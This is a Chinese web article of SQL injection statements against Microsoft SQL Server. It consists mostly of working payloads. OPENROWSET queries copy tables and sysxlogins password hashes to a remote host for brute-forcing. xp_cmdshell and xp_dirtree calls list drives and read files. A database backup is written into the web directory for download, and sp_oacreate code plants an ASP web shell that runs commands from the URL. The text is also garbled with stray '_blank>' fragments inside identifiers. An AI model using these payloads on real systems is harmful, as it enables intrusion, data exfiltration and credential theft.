首页 电脑 电脑学堂 查看内容

最标准的注入语句(三)

2005-8-19 09:54 1011 0

摘要: 基本语法: insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) selec...
关键词: blank select exec insert 语句 master oamethod into SRVROLEMEMBER int

基本语法: insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects) select * from user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns) select * from user_blank>_database.dbo.syscolumns 复制_blank>数据库: insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。 遍历目录的方法: 先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC) 写入表: 语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));-- 语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 把路径写到表中去: ;create table dirs(paths varchar(100), id int)-- ;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- and 0<>(select top 1 paths from dirs)-- and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- ;create table dirs1(paths varchar(100), id int)-- ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- and 0<>(select top 1 paths from dirs1)-- 把_blank>数据库备份到网页目录:下载 ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;-- and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 and 1=(select user_blank>_id from USER_blank>_LOGIN) and 0=(select user from USER_blank>_LOGIN where user>1) -=- wscript.shell example -=- declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe-- declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_blank>_oacreate scripting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) begin print @line exec @ret = sp_blank>_oamethod @f, readline, @line out end declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scripting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 waitfor delay 00:00:05 ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- xp_blank>_dirtree适用权限PUBLIC exec master.dbo.xp_blank>_dirtree c:\ 返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 create table dirs(paths varchar(100), id int) 建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 insert dirs exec master.dbo.xp_blank>_dirtree c:\ 只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部